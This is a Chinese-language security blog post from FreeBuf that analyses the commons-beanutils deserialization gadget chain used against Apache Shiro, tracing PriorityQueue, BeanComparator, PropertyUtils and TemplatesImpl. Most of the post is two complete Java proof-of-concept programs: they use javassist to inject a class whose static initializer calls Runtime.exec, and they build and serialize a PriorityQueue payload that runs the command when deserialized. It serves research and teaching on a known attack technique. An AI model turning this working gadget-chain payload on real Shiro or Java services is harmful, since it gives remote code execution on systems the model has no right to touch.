freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shiro中的CB链分析
2024-10-05 19:25:00
所属地 江苏省

一、 简介

commons-beanutils 是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。

而在Shiro的环境中 CB是自带的依赖,所以比较常见。

操作bean对象举例:

1728123507_670112735523801ce5f6c.png!small?1728123507773

二 、分析

1. PropertyUtils.getProperty()

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter和setter方法。

1728124149_670114f5c245543eb8441.png!small?1728124150179

1728124206_6701152ea7ac3dd48875e.png!small?1728124208182

可以看到这里获取到getName并且invoke调用

1728124293_67011585b1735f78333b5.png!small?1728124294228

2.TemplatesImpl

而在CC2的分析中,自己的分析文章: CC2反序列化链 与 TemplatesImpl命令执行链 - 分析 - FreeBuf网络安全行业门户,我们可以了解到存在一条TemplatesImpl的链条,下面是这条链的POC:

链:

TemplatesImpl#getProperty()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()

通过TemplatesImpl的getOutputProperties的方法,可以实例化我们通过javassist构造的恶意类,执行其中静态代码块中的恶意方法,现在通过getProperty()调用getProperty()看一下

POC:

public class test {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, CannotCompileException, NotFoundException, IOException, InstantiationException, NoSuchFieldException {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("test");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] classBytes = testCtClass.toBytecode();    // 获取字节数据

        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][] {classBytes});

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Test");

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates, "outputProperties");

    }

}

1728124486_6701164633a9d4025aab2.png!small?1728124486728

可以看到也是可以正常弹出计算器的,我们需要继续寻找一个类调用了getProperty方法,并且和我们的反序列化相关

3.BeanComparator

在BeanComparator#Compare中可以发现调用了getProperty方法

1728124762_6701175a8ac7d6686ca27.png!small?1728124762980

而这里的property是构造函数进行的赋值,可控

1728124877_670117cd2c9671b1f6846.png!small?1728124877574

所以现在继续找哪里调用了这个compare,现在就可以自然想到,在CC2中中的PriorityQueue#readObject,中调用到最后就是去执行compare方法,具体的不再分析,可以查看我的这个文章:CC2反序列化链 与 TemplatesImpl命令执行链 - 分析 - FreeBuf网络安全行业门户

1728127366_67012186b3157345d3ea1.png!small?1728127367187

所以现在整体的链就清晰了

4.整体调用链

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

完整POC

public class test {

    public static void main(String[] args) throws Exception {
        //javassist 设置恶意类
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("test");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] classBytes = testCtClass.toBytecode();    // 获取字节数据

        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][] {classBytes});

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Test");

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        //设置BeanComparator对象
        BeanComparator comparator = new BeanComparator();
        setFieldValue(comparator,"property","outputProperties");



        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
        setFieldValue(priorityQueue, "size", 2);


        Object[] objects = {templates, 2};
        setFieldValue(priorityQueue, "queue", objects);


        //序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
        outputStream.writeObject(priorityQueue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
        inputStream.readObject();

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

}

1728127059_670120533e568e481bad8.png!small?1728127059783


# 漏洞 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录